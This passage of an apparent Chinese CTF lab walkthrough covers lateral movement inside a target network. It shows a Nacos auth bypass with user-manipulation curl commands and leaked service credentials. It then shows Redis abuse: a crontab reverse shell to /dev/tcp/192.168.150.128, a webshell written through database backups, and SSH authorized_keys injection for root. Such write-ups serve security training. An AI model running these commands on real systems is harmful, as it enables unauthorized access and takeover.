javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping,'/nnmm')}"
}
}],
"uri": "http://example.com"
}

之后哥斯拉成功连接

发现存在网卡192.168.88.60

上传fscan扫一下发现另一台主机192.168.88.70(但是这里我一直上传不了,做了代理依旧没用🤡

接着来看8848端口,nacos有个未授权访问漏洞,漏洞地址:/nacos/v1/auth/users?pageNo=1&pageSize=9,发现绕过鉴权返回用户列表数据,但是密码通过bcrypt加密了

1
2
username    "nacos"
password "$2a$10$/WcAwSqpXiDCq/zpuNVQGOPBIZ7jpUv60MyyXNQEqkK4b8k3rDQU6"

于是我们尝试如下命令来添加新用户或者改密码

1
2
3
4
5
6
7
# linux 是用单引号,window用双引号,否则会提示curl: no URL specified
# 新增用户
curl -XPOST -d 'username=test&password=test' 'http://192.168.100.50:8848/nacos/v1/auth/users'
# 修改用户密码
curl -XPUT -d 'username=nacos&newPassword=nacos' 'http://192.168.100.50:8848/nacos/v1/auth/users'
# 删除用户
curl -XDELETE -d 'username=test' 'http://192.168.100.50:8848/nacos/v1/auth/users'

访问首页/nacos,成功登录

很多内网应用都会把application.yml配置在这个配置中心,基本可以通过snakeyaml的payload横向打所有内网应用,结合https://github.com/artsploit/yaml-payload, 修改server配置,可导致RCE

redis

根据前面nacos可以发现redis-task,配置信息如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
server:
port: 8586

api:
task:
url: http://127.0.0.1/api/office/taskHandle

knife4j:
redis:
host: 0.0.0.0
password: nbsg@123456
port: 6379
databases: 0,1,2,3,4,5,6,7
timeout: 60000


logging:
config: classpath:logback.xml

xxl:
job:
admin:
addresses: http://127.0.0.1:8998/xxl-job-admin
accessToken: X336qlhSuYz2Nshk
executor:
appname: redis-task
address:
ip:
port: 5599
logpath: /data/logs/xxl-job/redis-task
logretentiondays: 5


app:
mq:
delay:
queue: bb_DELAY_QUEUE
exchange: bb_delay_exchange

spring:
rabbitmq:
host: 127.0.0.1
port: 5672
username: admin
password: global2018#
virtualHost: /

可知redis的密码是nbsg@123456,并使用redis-cli成功连接redis服务器,其版本为4.0.10(不用密码也行🤐

1
redis-cli -h 192.168.88.70 -a "nbsg@123456"

利用姿势1:在crontab里写定时任务反弹shell(失败)

相关配置文件:

/var/spool/cron/ 目录下存放的是每个用户包括root的crontab任务,每个任务以创建者的名字命名

/etc/crontab 这个文件负责调度各种管理和维护任务。

/etc/cron.d/ 这个目录用来存放任何要执行的crontab文件或脚本。

我们还可以把脚本放在/etc/cron.hourly、/etc/cron.daily、/etc/cron.weekly、/etc/cron.monthly目录中,让它每小时/天/星期、月执行一次。

1
2
3
4
5
6
# 添加名为xxx的key,值为后面反弹shell的语句,5个星号代表每分钟执行一次,其中的\n同样是为了换行,避免crontab的语法错误
set xxx "\n\n* * * * * bash -i>& /dev/tcp/192.168.150.128/1234 0>&1\n\n"
# 在kali和ubantu中,其文件位置为/var/spool/cron/crontabs/root,在centos系列中位置为/var/spool/cron/root,通常情况下没有root文件,需要自己创建
config set dir /var/spool/cron
config set dbfilename root
save

但是等了半天还是没弹,于是查看一下计划任务发现也没有反弹shell命令写入了靶机

1
2
cd /var/spool/cron
crontab -l

检查定时任务是否执行

1
tail -10000f /var/log/cron | grep 'bash'

利用姿势2:利用redis数据库的备份功能,直接向Web目录中写webshell,但是发现不是默认路径无法利用

1
2
3
4
config set dir /var/www/html/
config set dbfilename 1.php
set webshell "<?php phpinfo();?>"
save

利用姿势3:redis写入ssh公钥,获取操作系统权限

kali生成ssh公钥和私钥,密码设置为空

1
ssh-keygen -t rsa

进入.ssh目录,然后将生成的公钥写入ceshi.txt文件

1
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") >ceshi.txt

将保存ssh的公钥ceshi.txt写入redis

1
cat ceshi.txt | redis-cli -h 192.168.88.70 -a "nbsg@123456" -x set crack

连接redis,使用 CONFIG GET dir 命令得到redis备份的路径,更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)并设置上传公钥的备份文件名字为authorized_keys:

1
2
3
4
config get dir
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
save

成功写入ssh公钥到靶机,然后使用ssh免密登录靶机,得到flag3:flag{good_redis}

1
ssh -i id_rsa root@192.168.88.70